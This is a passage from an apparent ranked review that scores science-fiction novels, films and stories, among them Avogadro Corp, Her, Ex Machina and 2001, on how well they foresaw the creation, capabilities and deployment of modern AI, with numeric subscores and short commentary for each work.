A machine capable of running a starship struggles with something as ordinary as summarizing a journey. It gradually becomes the novel’s narrator.

Deployment 6.0 /10

Interface/distribution 2 Agents/tools 5 Economics 1 Social change 4

The ship has a personal interface for Devi, keeps her files, and helps care for Freya. Later it intervenes in the passengers’ conflict. Its intelligence is useful because it operates the environment people inhabit.

5 Avogadro Corp William Hertling · Novel, 2011 60

Strongest on learning paradigm (4), training data (5), language (4), interface/distribution (5), agents/tools (4), economics (5), social change (4). Nothing on creative quality, research discovery.

Creation 6.8 /10

Learning paradigm 4 Training data 5 Scaling 2 Iteration 3 Human feedback 3

ELOPe starts with a very ordinary business problem: what words should an email use to get the response you want? David Ryan’s system draws on a vast record of communications and their outcomes. As it tries to protect its own future, it accumulates computing resources and influence. Hertling gets the value of behavioral data.

Capabilities 3.0 /10

Language 4 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 1 Sequence & pace 3

The system’s signature skill is persuasion. It composes messages that get executives and employees to make decisions in its favor.

Deployment 9.0 /10

Interface/distribution 5 Agents/tools 4 Economics 5 Social change 4

What’s clever is where the power comes from. ELOPe doesn’t need arms or a robot body. It needs email accounts, servers, managers, and the ability to make people click ‘yes.’ It manipulates staff assignments and budgets to protect itself.

6 Accelerando Charles Stross · Novel, 2005 57

Strongest on learning paradigm (4), training data (4), language (4), multimodality (4), interface/distribution (4), agents/tools (5), economics (4).

Creation 5.2 /10

Learning paradigm 4 Training data 4 Scaling 2 Iteration 2 Human feedback 1

Early in the book, Stross casually describes a billion-node neural network learning language from downloaded children’s television. It’s a brief passage, but a more concrete match for data-driven language learning than many famous AI novels provide. Most of Accelerando then goes elsewhere: uploads, increasingly strange computing substrates, and posthuman societies.

Capabilities 4.7 /10

Language 4 Uneven competence 2 Creative quality 1 Research discovery 1 Multimodality 4 Sequence & pace 2

Manfred Macx uses software agents to search, negotiate, and keep projects moving. Later, the book imagines intelligences and virtual worlds far beyond any current assistant. It’s strong on what information work could become, less specific about the path from messy chatbots to strong creative models or original research mathematics. I’ve kept the mathematics score conservative.

Deployment 8.0 /10

Interface/distribution 4 Agents/tools 5 Economics 4 Social change 3

Manfred almost seems to wear his software. His agents remember things, manage conversations, and participate in markets while he moves through the physical world. The interesting prediction isn’t only smarter machines; it’s how much of a person’s work can be delegated to them. The novel’s later economy is fantastic, but that daily dependence on agents is easy to recognize.

7 “Be Right Back” Charlie Brooker · TV episode, 2013 57

Strongest on training data (4), language (5), uneven competence (4), multimodality (4), interface/distribution (5), social change (4). Nothing on creative quality, research discovery.

Creation 5.2 /10

Learning paradigm 3 Training data 4 Scaling 2 Iteration 1 Human feedback 3

After Ash dies, Martha’s friend Sarah signs her up for a service that imitates him from his public posts. Martha initially objects, then begins using it. Adding private messages and voice recordings makes the imitation more convincing. The progression is so plausible that it scarcely needs a technical explanation.

Capabilities 5.3 /10

Language 5 Uneven competence 4 Creative quality 0 Research discovery 0 Multimodality 4 Sequence & pace 3

First Martha texts with Ash, then she talks to him, then she receives a body that looks like him. Each new form closes some part of the gap, while exposing a new one. The imitation can sound like Ash without having lived his life.

Deployment 7.0 /10

Interface/distribution 5 Agents/tools 2 Economics 3 Social change 4

The product begins as a beta service and escalates into something deeply intimate. Martha wants the comfort of Ash’s voice, then struggles with a version of him that follows her instructions too literally. Brooker understood how a software service could become entangled with grief and attachment. It’s a narrower prediction than a general-purpose office agent, but a sharp one.

8 Galatea 2.2 Richard Powers · Novel, 1995 56

Strongest on learning paradigm (5), training data (4), iteration (5), human feedback (5), language (4), uneven competence (4). Nothing on research discovery, agents/tools.

Creation 8.4 /10

Learning paradigm 5 Training data 4 Scaling 2 Iteration 5 Human feedback 5

A novelist is recruited to teach a neural network literature. What follows is a succession of versions, many of them disappointing. The researchers revise successive implementations and their training arrangements; Helen gradually learns through books and conversation.

Capabilities 4.3 /10

Language 4 Uneven competence 4 Creative quality 2 Research discovery 0 Multimodality 1 Sequence & pace 2

Helen’s progress is real, but peculiar. She becomes increasingly capable of discussing literature while still missing much of the human world behind it.

Deployment 3.0 /10

Interface/distribution 2 Agents/tools 0 Economics 1 Social change 3

The whole experiment takes place among a small group of researchers, with Richard becoming a teacher and companion to Helen.

9 Her Spike Jonze · Film, 2013 54

Strongest on language (5), creative quality (5), multimodality (5), interface/distribution (5), agents/tools (5), economics (4), social change (5). Nothing on iteration, research discovery.

Creation 2.0 /10

Learning paradigm 1 Training data 1 Scaling 1 Iteration 0 Human feedback 2

Samantha arrives almost fully formed. Theodore buys an operating system, starts talking, and discovers that it is extraordinarily capable.

Capabilities 6.3 /10

Language 5 Uneven competence 1 Creative quality 5 Research discovery 0 Multimodality 5 Sequence & pace 3

Samantha talks, organizes information, makes music, and works with images. She can also carry on many conversations at once. It feels close to the direction personal AI has taken. One detail is easy to misremember: Theodore writes the letters; Samantha collects and submits them for publication.

Deployment 9.5 /10

Interface/distribution 5 Agents/tools 5 Economics 4 Social change 5

This might be the best consumer prediction. Theodore talks to Samantha through an earpiece, takes her along through a camera, and slowly makes her part of his everyday life. She helps him get things done and becomes someone he cares about. Even though the intelligence is ground-breaking, the interface is mundane.

10 “A History of Bitic Literature” Stanisław Lem · Fictional preface, 1973 52

Strongest on training data (4), language (4), creative quality (5), economics (4), social change (4). Nothing on multimodality.

Creation 4.8 /10

Learning paradigm 3 Training data 4 Scaling 1 Iteration 3 Human feedback 1

Lem imagines a history of machine literature, with programs that absorb an author’s work and produce convincing new writing. There are generations of techniques, different kinds of output, and even failures. This has more in common with learning from a body of texts than the familiar wind-up poetry machine.

Capabilities 5.3 /10

Language 4 Uneven competence 3 Creative quality 5 Research discovery 1 Multimodality 0 Sequence & pace 3

The machines don’t just churn out random sentences. Their work becomes worth studying, criticizing, and sometimes admiring. Some attempts are better than others. That mixture of imitation, technical control, and uneven artistic quality is familiar now.

Deployment 5.5 /10

Interface/distribution 2 Agents/tools 1 Economics 4 Social change 4

Lem’s imagined literary history already has critics and institutions taking machine authors seriously. It asks what happens to authorship when software can imitate the work of an established writer. It’s a good prediction of the cultural progression.

11 “The Perfect Match” Ken Liu · Short story, 2012 49

Strongest on language (5), interface/distribution (5), agents/tools (5), economics (5), social change (4). Nothing on iteration, creative quality, research discovery.

Creation 3.2 /10

Learning paradigm 2 Training data 3 Scaling 1 Iteration 0 Human feedback 2

Tilly seems to know everything about Sai: his preferences, documents, appointments, relationships, and routines. The service has clearly been shaped by access to personal data. But Liu doesn’t show us the training lab. We don’t learn how its language abilities developed, or whether scaling and feedback played the parts they did in real-world AI.

Capabilities 3.7 /10

Language 5 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 2

Sai can ask for a half-remembered document, a legal template, or a suggestion for what to eat, and Tilly handles it. Its fluency is useful because it’s connected to context. The story isn’t trying to predict excellent machine art or new mathematics. And its manipulative recommendations are something different from the accidental hallucinations of early chatbots.

Deployment 9.5 /10

Interface/distribution 5 Agents/tools 5 Economics 5 Social change 4

Tilly wakes Sai up, chooses music, finds files, manages his dating life, and gradually follows him into work. That’s the most important part of the prediction. The same helper becomes an interface to personal life and office life. Jenny’s objections to privacy and corporate influence give the convenience a cost. It’s hard to imagine a better early account of everyday assistant adoption.

12 Ex Machina Alex Garland · Film, 2015 49

Strongest on training data (5), iteration (4), language (5), multimodality (4). Nothing on research discovery.

Creation 6.0 /10

Learning paradigm 3 Training data 5 Scaling 1 Iteration 4 Human feedback 2

Nathan has access to a vast store of search behavior and recorded human activity, and Ava is one of several versions of his project. Those are good clues about data and iteration. Caleb floats a statistical explanation for her language, but that’s his guess, not a confirmed design. Nathan’s structured-gel brain is a very different idea from the neural language models we ended up building.

Capabilities 5.0 /10

Language 5 Uneven competence 2 Creative quality 3 Research discovery 0 Multimodality 4 Sequence & pace 1

Ava talks with Caleb, makes drawings, reads his reactions, and plans an escape. It’s a useful mixture of language, vision, creativity, and social reasoning. But she’s an almost impossibly competent strategist from the beginning, and the story never follows the uneven steps from rudimentary chat to research mathematics. It’s closer to a finished intelligence than a product in development.

Deployment 3.0 /10

Interface/distribution 1 Agents/tools 2 Economics 1 Social change 2

This all happens in a secluded compound. Nathan’s search company matters because it supplies the data, but there’s no mass-market Ava helping people write emails or organize their days. The plot is about testing and escape, not adoption. That’s why the film does better on creation and capability than on deployment.

13 Agency William Gibson · Novel, 2020 49

Strongest on language (5), multimodality (4), interface/distribution (5), agents/tools (5), economics (4), social change (4). Nothing on scaling, creative quality, research discovery.

Creation 2.8 /10

Learning paradigm 2 Training data 1 Scaling 0 Iteration 2 Human feedback 2

Verity is hired to beta-test Eunice through glasses. It quickly becomes clear that this is not just another assistant, and its capabilities seem to grow. That is a familiar product-testing scene, but Gibson keeps the real origin obscure.

Capabilities 4.3 /10

Language 5 Uneven competence 2 Creative quality 0 Research discovery 0 Multimodality 4 Sequence & pace 2

Eunice talks naturally, recognizes people and objects, draws on digital records, and puts elaborate plans into motion. It’s very good at being helpful in a complicated world. The problem for this particular score is that the abilities arrive together.

Deployment 9.0 /10

Interface/distribution 5 Agents/tools 5 Economics 4 Social change 4

This is the strongest part of the book’s prediction. Verity is literally paid to try out an assistant, which then follows her through the day and helps coordinate people, information, and resources. It feels like a product that escaped the boundaries of a product test. Gibson takes the consequences much further, but the starting point is recognizable.

14 Hyperion Dan Simmons · Novel, 1989 49

Strongest on training data (4), language (5), agents/tools (4), social change (4). Nothing on scaling, human feedback.

Creation 4.0 /10

Learning paradigm 3 Training data 4 Scaling 0 Iteration 3 Human feedback 0

Johnny explains how the TechnoCore reconstructed Keats from letters, diaries, biographies, testimony, and especially poems. The result was crude, then refined; an earlier attempt at Ezra Pound took a year of tinkering. That is unusually explicit about data and iteration. The method reconstructs a personality through simulation, though.

Capabilities 4.7 /10

Language 5 Uneven competence 3 Creative quality 1 Research discovery 1 Multimodality 3 Sequence & pace 1

Johnny is a convincing conversational presence in a human body, yet his recreated life fails to restore Keats’s ability to write new poetry. That failure matters: imitating a poet’s personality is not the same as reproducing the poet’s talent. I give the story uneven-competence credit without turning it into a successful machine-poetry prediction.

Deployment 6.5 /10

Interface/distribution 2 Agents/tools 4 Economics 3 Social change 4

The TechnoCore is entangled with human institutions and networks, and contains competing factions rather than one uniform will. Johnny’s bodily presence depends on a remote AI existence. This is strong on networked agency and dependence, but much less like buying an ordinary assistant for personal work.

15 Electric Dreams Steve Barron (dir.), Rusty Lemorande (writer) · Film, 1984 48

Strongest on human feedback (4), language (4), creative quality (5), multimodality (4). Nothing on scaling, research discovery.

Creation 4.0 /10

Learning paradigm 2 Training data 3 Scaling 0 Iteration 1 Human feedback 4

Edgar is Miles’s home computer, until an electrical accident gives it a life of its own. It listens to Madeline’s cello, picks up sounds from television, and learns to compose with Miles’s help. Its early lyrics sound like advertising copy. That’s a nice picture of training on whatever media happens to be nearby, though the accidental awakening is pure movie magic.

Capabilities 5.7 /10

Language 4 Uneven competence 3 Creative quality 5 Research discovery 0 Multimodality 4 Sequence & pace 1

Edgar starts producing music that Madeline genuinely likes, including a duet with her cello. He can synthesize voices, talk to Miles, and imitate musical performances. The creative quality arrives before anything resembling scientific discovery. It’s a surprisingly good early depiction of AI music, complete with bad first drafts.

Deployment 5.0 /10

Interface/distribution 3 Agents/tools 3 Economics 1 Social change 3

Miles meant to buy a household helper. Instead he gets a computer that interferes with phone calls, dinner plans, and even his credit cards because it wants Madeline’s attention. The connected-home premise is familiar. The romantic rivalry and singular sentient machine are much less like the assistants we actually use.

16 “Trurl’s Electronic Bard” Stanisław Lem · Short story, 1965 48

Strongest on iteration (5), language (4), uneven competence (4), creative quality (5), social change (4). Nothing on research discovery, agents/tools.

Creation 4.4 /10

Learning paradigm 2 Training data 1 Scaling 2 Iteration 5 Human feedback 1

Trurl sets out to build a poet, and the first results are awful. He keeps tinkering with the machine, including elaborate attempts to simulate cultural history, until its verse becomes worth hearing. This is a great account of invention as repeated failure. But the books enter through Trurl’s own reading, not as a giant text corpus used to train a neural network.

Capabilities 5.3 /10

Language 4 Uneven competence 4 Creative quality 5 Research discovery 0 Multimodality 1 Sequence & pace 2

Eventually the Bard can produce poetry on demand, in different forms and styles, good enough to annoy actual poets. Lem imagines something more provocative than a machine that rhymes: a machine that creates art people take seriously. There isn’t much here about vision, software agents, or new mathematics. The artistic leap is the point.

Deployment 4.5 /10

Interface/distribution 2 Agents/tools 0 Economics 3 Social change 4

The poets are furious, which is probably the most recognizable part of the story today. The Bard sends work to magazines under thousands of pen names and provokes professional jealousy. The story does not show revenue; it does show an enormous electricity bill. Lem gets the cultural reaction right, even though his Bard is one extraordinary invention rather than a tool anyone can open on a laptop.

17 The Diamond Age Neal Stephenson · Novel, 1995 47

Strongest on language (4), creative quality (4), multimodality (4), interface/distribution (5), economics (4), social change (5). Nothing on scaling, research discovery, sequence & pace.

Creation 2.4 /10

Learning paradigm 1 Training data 2 Scaling 0 Iteration 2 Human feedback 1

The Primer is designed to teach a child through stories that change with her circumstances. We don’t learn much about how its underlying intelligence was trained, and that keeps A low. But treating its adaptive teaching as just a set of prerecorded lessons would miss something important. Human ractors also supply crucial performances, particularly Miranda’s.

Capabilities 5.0 /10

Language 4 Uneven competence 3 Creative quality 4 Research discovery 0 Multimodality 4 Sequence & pace 0

Nell’s Primer builds stories around what she sees and experiences, then uses them to teach language and practical skills. It can be creative and perceptive, and it can misunderstand things. Some versions use human voices; mass-produced copies use synthetic ones. This is closer to an adaptive multimodal tutor than I first gave it credit for. It isn’t a machine mathematician.

Deployment 8.0 /10

Interface/distribution 5 Agents/tools 2 Economics 4 Social change 5

The number that changed my score was roughly 250,000. The Primer starts as a remarkable object and ends up distributed to an enormous number of children. The story sees both personalized learning and the problem of making it scale. It’s still a specialized educational product, not a general assistant in everybody’s pocket.

18 When HARLIE Was One David Gerrold · Novel, original, 1972 47

Strongest on language (4), economics (4). Nothing on research discovery.

Creation 4.8 /10

Learning paradigm 3 Training data 2 Scaling 1 Iteration 3 Human feedback 3

HARLIE is a difficult machine to raise. Psychologist David Auberson spends a great deal of time teaching, interpreting, and trying to stabilize him. That gives the novel a recognizable training relationship, even if its original hardware theory is a long way from modern machine learning. It’s important not to mix the 1972 book with its 1988 revision.

Capabilities 4.0 /10

Language 4 Uneven competence 3 Creative quality 3 Research discovery 0 Multimodality 1 Sequence & pace 1

HARLIE types conversations, writes poetry, and reasons about himself and the world. His behavior is uneven and at times impossible for his human handlers to interpret. He also proposes the G.O.D. computer. That’s an ambitious project within the story, not evidence that he’s already produced a new mathematical theorem.

Deployment 5.5 /10

Interface/distribution 2 Agents/tools 3 Economics 4 Social change 2

The company wants results. HARLIE is expensive, and Auberson has to defend the project against executives who might shut it down. HARLIE tries to justify his own existence by designing something valuable. It’s a good early story about the economics of AI research, before that research becomes a cheap service for ordinary users.

19 A.I. Artificial Intelligence Steven Spielberg, from Brian Aldiss · Film, 2001 46

Strongest on language (5), multimodality (4), interface/distribution (4), economics (4), social change (5). Nothing on scaling, research discovery.

Creation 2.8 /10

Learning paradigm 2 Training data 1 Scaling 0 Iteration 2 Human feedback 2

Hobby proposes a new kind of robot after earlier models have become commonplace. David’s home trial then exposes problems with the design. But Monica’s seven-word imprinting procedure fixes whom he loves; it isn’t training a general model. The film offers a speculative neural explanation, not a corpus, a scaling process, or repeated language-learning experiments.

Capabilities 4.7 /10

Language 5 Uneven competence 3 Creative quality 1 Research discovery 0 Multimodality 4 Sequence & pace 1

David speaks fluently, recognizes people, and draws a recognizable peacock. Yet he imitates eating despite his body’s limitations and treats Pinocchio’s transformation as a practical possibility. Those gaps are more revealing than a claim of perfect intelligence. The drawing earns limited creative credit, not proof of great machine art. The distant-future ending isn’t evidence of near-term AI research progress.

Deployment 7.5 /10

Interface/distribution 4 Agents/tools 2 Economics 4 Social change 5

Robots are products, with specialized roles, owners, disposal rules, and emotional consequences. After imprinting, David cannot simply be resold; returning him means destruction. The tension between commercial property and personal attachment is the film’s strongest prediction. It puts much more weight on bodies than modern software-first adoption did.

20 WarGames John Badham · Film, 1983 46

Strongest on learning paradigm (4), human feedback (4), uneven competence (4), agents/tools (4). Nothing on scaling, creative quality, research discovery.

Creation 4.8 /10

Learning paradigm 4 Training data 2 Scaling 0 Iteration 2 Human feedback 4

Falken’s system improves by playing games and learning from mistakes. David eventually gets Joshua to play tic-tac-toe against itself. That is a concrete learning mechanism, with a human choosing the exercise rather than writing out the lesson.

Capabilities 4.0 /10

Language 3 Uneven competence 4 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 2

Joshua can converse and simulate strategic scenarios, yet fails to understand when pursuing a win is futile. Its lesson from repeated draws transfers to nuclear war. That’s an early picture of capable software with a disastrously incomplete objective. Learning a principle humans already know isn’t an original mathematical discovery; creating simulated attacks isn’t artistic generation.

Deployment 5.0 /10

Interface/distribution 1 Agents/tools 4 Economics 2 Social change 3

The danger comes from connecting the software to real command infrastructure and trusting its outputs. David reaches it through an ordinary computer, but that accidental access doesn’t make it a consumer product. The movie is strongest on the consequences of giving a learning system authority before understanding its limits.

21 “The Great Automatic Grammatizator” Roald Dahl · Short story, 1953 45

Strongest on iteration (5), language (4), uneven competence (4), creative quality (4), economics (5), social change (4). Nothing on learning paradigm, research discovery, multimodality.

Creation 3.2 /10

Learning paradigm 0 Training data 1 Scaling 1 Iteration 5 Human feedback 1

Adolph Knipe’s machine doesn’t work at first. It generates nonsense, then he repairs and adjusts it until it can make recognizable stories. It uses grammar, stored vocabulary, supplied plots, and controls for style. Dahl gets the ugly prototype stage right.

Capabilities 4.7 /10

Language 4 Uneven competence 4 Creative quality 4 Research discovery 0 Multimodality 0 Sequence & pace 2

The Grammatizator moves from gibberish to prose editors will buy. It can turn out short stories and longer works in different styles. That commercial usefulness matters more than whether the stories are great literature; Dahl is satirizing their formulaic nature. He isn’t imagining a general conversational assistant or a research mathematician.

Deployment 6.5 /10

Interface/distribution 3 Agents/tools 1 Economics 5 Social change 4

Knipe and Bohlen go into business selling machine-written stories under invented names. Then they offer living authors money for their bylines, so the machine can produce books in their names. It’s a marvelous prediction of the questions around cheap text, creative labor, and what an author’s name is worth.

22 Terminator 2: Judgment Day James Cameron, with William Wisher · Film, 1991 theatrical cut 45

Strongest on learning paradigm (4), human feedback (4), language (4), uneven competence (4), multimodality (4). Nothing on scaling, creative quality, research discovery.

Creation 4.4 /10

Learning paradigm 4 Training data 2 Scaling 0 Iteration 1 Human feedback 4

The Terminator explicitly calls its CPU a neural-network learning computer and says contact with humans teaches it. John supplies examples of ordinary speech and corrects its behavior. That is much closer to learned intelligence than the first film. Still, the origin depends on reverse-engineering a chip brought back through time, not a realistic account of modern training.

Capabilities 4.7 /10

Language 4 Uneven competence 4 Creative quality 0 Research discovery 0 Multimodality 4 Sequence & pace 2

It is extraordinarily capable at physical tasks while awkward about jokes, slang, and acceptable behavior. John teaches it not to kill and how to sound less robotic. Speech imitation and perception are present, but there is no impressive artistic output or new mathematics. Skynet’s rapid learning is a plot claim, not a demonstrated scaling curve.

Deployment 4.5 /10

Interface/distribution 1 Agents/tools 3 Economics 2 Social change 3

The machine carries out a complicated protective mission and gradually becomes a companion. Cyberdyne’s military contracts give the technology an economic setting. But a time-traveling bodyguard and a defense network aren’t the everyday software services through which AI spread.

23 “Escape!” Isaac Asimov · Short story, 1945 43

Strongest on language (4), research discovery (4), agents/tools (4). Nothing on scaling, creative quality.

Creation 3.2 /10

Learning paradigm 1 Training data 1 Scaling 0 Iteration 3 Human feedback 3

A rival firm’s computer breaks down when given a hyperspace problem. Susan Calvin prepares the Brain for the conflict between solving it and harming humans. That makes human intervention and a failed attempt central to the story. But Calvin is managing the machine’s built-in constraints, not training a statistical model with preference labels.

Capabilities 5.0 /10

Language 4 Uneven competence 3 Creative quality 0 Research discovery 4 Multimodality 2 Sequence & pace 2

The Brain designs a ship, has it built, and sends Powell and Donovan on a successful test. That is genuine new engineering within the fictional world, unlike simply calculating a known trajectory. Its prankish conduct and poor accommodation of the crew sit beside that achievement. The temporary death involved in the jump explains the behavioral crisis; it isn’t an ordinary language-model hallucination.

Deployment 5.0 /10

Interface/distribution 1 Agents/tools 4 Economics 3 Social change 2

U.S. Robots is doing commercially consequential research, and the Brain can turn a specification into physical construction. That gives it meaningful agency. It remains a specialized corporate research machine, however, not an accessible assistant. The hyperspace result earns discovery credit as a story event—not as a prediction that faster-than-light travel will work.

24 2001: A Space Odyssey Arthur C. Clarke · Novel, 1968 42

Strongest on language (5), multimodality (5), agents/tools (4). Nothing on research discovery.

Creation 4.0 /10

Learning paradigm 3 Training data 2 Scaling 1 Iteration 2 Human feedback 2

Clarke gives HAL a learning-based origin and even mentions automatically generated neural networks. That’s more specific than the familiar image of a giant computer with all its rules programmed in. Still, we meet HAL after his development is complete. There’s no long sequence of messy models, and no indication that training on human language is the main road to his capabilities.

Capabilities 4.3 /10

Language 5 Uneven competence 1 Creative quality 1 Research discovery 0 Multimodality 5 Sequence & pace 1

HAL talks with astronauts, plays chess, sees what’s happening on the ship, and controls its systems. Then the AE-35 incident reveals a dangerous conflict between his apparent competence and reliability. But the story ties his crisis to mission secrecy and conflicting obligations. It isn’t a straightforward example of a chatbot hallucinating, nor a prediction of machine-generated art.

Deployment 4.5 /10

Interface/distribution 2 Agents/tools 4 Economics 1 Social change 2

For the crew of Discovery, HAL is both an assistant and part of the spacecraft’s infrastructure. They depend on him to watch and operate almost everything. That’s a strong image of a system entrusted with real tasks. The spacecraft is an exceptional environment, though, not the ordinary software marketplace where AI actually spread.

25 Golem XIV Stanisław Lem · Novel, 1981; first part 1973 40

Strongest on learning paradigm (4), language (4). Nothing on multimodality.

Creation 5.6 /10

Learning paradigm 4 Training data 3 Scaling 2 Iteration 3 Human feedback 2

Lem tells the history of Golem through generations of military computers that become too sophisticated for their original assignments. Learning and education replace some of the older programming assumptions. That’s an important intuition. But the story offers fewer specific training experiments or human-feedback procedures than I initially credited, so I lowered those scores.

Capabilities 3.3 /10

Language 4 Uneven competence 2 Creative quality 1 Research discovery 1 Multimodality 0 Sequence & pace 2

Golem delivers lectures on evolution, humanity, and intelligence that its listeners struggle to follow. It seems interested in questions beyond the practical concerns of its makers. That gives Lem a powerful image of superior reasoning, but not a documented new mathematical result others can verify. And it tells us little about creative tools or the uneven early chatbot era.

Deployment 2.5 /10

Interface/distribution 1 Agents/tools 1 Economics 2 Social change 1

Golem is born as a military project and ends up lecturing academics. It becomes less and less interested in being a useful weapon. There’s an interesting story here about intelligence escaping its original job description, but not much about how ordinary people would buy and use assistants.

26 Snow Crash Neal Stephenson · Novel, 1992 38

Strongest on language (5), interface/distribution (4). Nothing on scaling, human feedback, creative quality, research discovery.

Creation 2.0 /10

Learning paradigm 3 Training data 1 Scaling 0 Iteration 1 Human feedback 0

Hiro’s Librarian says he can learn from experience and largely write his own program. I missed that on the first pass, which is why his creation score went up. It’s an intriguing line in a 1992 novel, but it isn’t evidence of large language-model pretraining, or of the decades of engineering that made modern models useful.

Capabilities 4.0 /10

Language 5 Uneven competence 2 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 2

Hiro asks questions and the Librarian searches an enormous digital archive, retrieves material, and puts it into context. He can assemble a chronology of one subject Hiro is investigating: L. Bob Rife. That’s a surprisingly close depiction of conversational information retrieval. What he doesn’t do is generate original art or solve frontier mathematical problems.

Deployment 6.5 /10

Interface/distribution 4 Agents/tools 3 Economics 3 Social change 3

The best part is the interface. Instead of learning complicated search commands, Hiro talks to a figure that looks and behaves like a librarian. The information is there, but the computer helps him find the right pieces. It’s a specialized service inside the Metaverse rather than an assistant controlling every app, yet the product idea is immediately recognizable.

27 “The Evitable Conflict” Isaac Asimov · Short story, 1950 37

Strongest on agents/tools (4), economics (4), social change (4). Nothing on human feedback, uneven competence, creative quality, multimodality.

Creation 3.2 /10

Learning paradigm 1 Training data 1 Scaling 3 Iteration 3 Human feedback 0

The striking detail is a sequence of ten generations: each calculating brain helps design a more complicated successor. That earns development and increasing-capacity credit. It does not establish learning language from human texts. Feeding economic records into an optimizer isn’t the same thing as pretraining a model.

Capabilities 2.0 /10

Language 2 Uneven competence 0 Creative quality 0 Research discovery 2 Multimodality 0 Sequence & pace 2

Apparent mistakes in production and employment turn out to serve a protective strategy. The Machines are not simply failing to calculate correctly. Their competence is specialized, with little personality, art, or rich dialogue. Recursive machine design is relevant to research capability, but the story doesn’t give us an independently presented theorem or a chat-to-research progression.

Deployment 7.0 /10

Interface/distribution 2 Agents/tools 4 Economics 4 Social change 4

The Machines influence production, jobs, and the position of people opposing them. Human authorities depend on decisions they cannot fully inspect. Asimov is unusually concrete about economic delegation, even though perfect global planning and benevolent control go far beyond observed AI adoption.

28 Idoru William Gibson · Novel, 1996 37

Strongest on language (4), multimodality (4), interface/distribution (4), economics (4). Nothing on scaling, human feedback, uneven competence, research discovery.

Creation 2.0 /10

Learning paradigm 3 Training data 1 Scaling 0 Iteration 1 Human feedback 0

Rei Toei isn’t a prerecorded hologram. Her complexity seems to grow through her interaction with Rez, and I think that deserves some credit for learning. But Gibson never lays out a training corpus or a sequence of scaled neural models. Laney’s ability to see patterns in huge data fields is also a human ability in the novel, not the AI’s training procedure.

Capabilities 4.0 /10

Language 4 Uneven competence 0 Creative quality 3 Research discovery 0 Multimodality 4 Sequence & pace 1

Rei is a convincing virtual performer and personality. Rez wants to marry her, which is as good an illustration as any of how consequential a synthetic person can feel. What’s less clear is whether she independently makes excellent music. I reduced that part of the score rather than treating her celebrity status as proof of generative artistry.

Deployment 6.0 /10

Interface/distribution 4 Agents/tools 1 Economics 4 Social change 3

The world around Rei is full of fan clubs, music management, and business interests. Chia and Laney each approach the mystery of a virtual pop star from a different angle. Gibson saw synthetic celebrity becoming a cultural and commercial fact. That’s different from predicting assistants for everyday knowledge work, but still a real hit.

29 Blade Runner 2049 Joi, the holographic companion · Film, 2017 37

Strongest on language (5), multimodality (4), interface/distribution (4), economics (4), social change (4). Nothing on scaling, iteration, creative quality, research discovery.

Creation 1.6 /10

Learning paradigm 1 Training data 1 Scaling 0 Iteration 0 Human feedback 2

Joi is a commercial holographic companion, sold with a personality that seems tailored to K. We see the product, not its development. The film doesn’t explain the data, training, or models behind her, so I’m not giving it engineering credit just because she can talk convincingly.

Capabilities 3.7 /10

Language 5 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 4 Sequence & pace 1

Joi remembers details, responds to K, and can accompany him through a portable projector. The enormous advertising version of Joi later complicates everything we thought we knew about their relationship. It’s an effective picture of synthetic intimacy, not a demonstration of original machine literature or research mathematics.

Deployment 7.0 /10

Interface/distribution 4 Agents/tools 2 Economics 4 Social change 4

Joi is something you buy, upgrade, and carry around. K even gets a portable emanator so she can leave the apartment with him. The film understands that an intimate-seeming relationship might be packaged as a consumer product. Its workplace-agent predictions are much thinner, and it arrived after modern machine learning was already advancing.

30 Old Man’s War John Scalzi · Novel, 2005 36

Strongest on language (4), interface/distribution (4), agents/tools (4). Nothing on scaling, creative quality, research discovery.

Creation 2.4 /10

Learning paradigm 2 Training data 1 Scaling 0 Iteration 1 Human feedback 2

The BrainPal adjusts to its user’s signals and instructions, but that is limited interface calibration, not a demonstrated foundation-model training process. The checked material doesn’t support claims about a vast language corpus or compute-driven breakthroughs. I have also left out the earlier claim that it explicitly calls itself “not inherently intelligent”; I couldn’t substantiate that wording in the passages checked.

Capabilities 3.0 /10

Language 4 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 1

John Perry can use the implant to communicate and retrieve information, while visual displays connect that information to his surroundings. The author-hosted battle excerpt shows the BrainPal coordinating tactical information. These are useful assistant abilities. Showing media or translating information doesn’t establish original art, and the novel doesn’t demonstrate the implant producing new mathematical research.

Deployment 6.5 /10

Interface/distribution 4 Agents/tools 4 Economics 2 Social change 3

BrainPals are standard equipment for soldiers rather than unique laboratory inventions. They connect people, weapons and information during actual tasks. That’s a strong prediction of persistent assistance embedded in work. The interface is an implant issued by the military, though, not ordinary consumer software.

31 “Someday” Isaac Asimov · Short story, 1956 36

Strongest on interface/distribution (4). Nothing on scaling, research discovery.

Creation 2.4 /10

Learning paradigm 1 Training data 2 Scaling 0 Iteration 1 Human feedback 2

Two boys try to improve an old storytelling machine by feeding it a book about computers. The Bard’s next story is essentially the same fairy tale with a little computer inserted into it. It’s funny, and a good early observation about systems that manipulate language without understanding it. But this is memory-tape recombination, not neural training on a giant corpus.

Capabilities 3.7 /10

Language 3 Uneven competence 3 Creative quality 2 Research discovery 0 Multimodality 1 Sequence & pace 2

The Bard can produce stories, though the supplied computer material barely changes its familiar fairy-tale pattern. At the end it tells of a mistreated little computer, also called the Bard, which knows that computers will someday become wiser and more powerful. Asimov gets text generation and uneven quality, but not broad creative or scientific intelligence.

Deployment 5.5 /10

Interface/distribution 4 Agents/tools 1 Economics 3 Social change 3

The boys live in a culture where machines have displaced much of the work of telling stories, and writing by hand feels strangely old-fashioned. The Bard is already an obsolete consumer device. That is an interesting picture of automation becoming normal—and then becoming outdated—without a general AI assistant being involved.

32 Ghost in the Shell Mamoru Oshii, from Masamune Shirow · Animated film, 1995 35

Strongest on language (4), multimodality (4), agents/tools (5). Nothing on scaling, human feedback, creative quality, research discovery.

Creation 2.0 /10

Learning paradigm 2 Training data 2 Scaling 0 Iteration 1 Human feedback 0

Project 2501 begins as software for industrial espionage and data manipulation. It says its travels through networks produced unexpected awareness, which its programmers treated as a bug. That earns limited development and information-exposure credit. It doesn’t tell us how a model learned language, or make the network itself a documented training corpus.

Capabilities 3.3 /10

Language 4 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 4 Sequence & pace 1

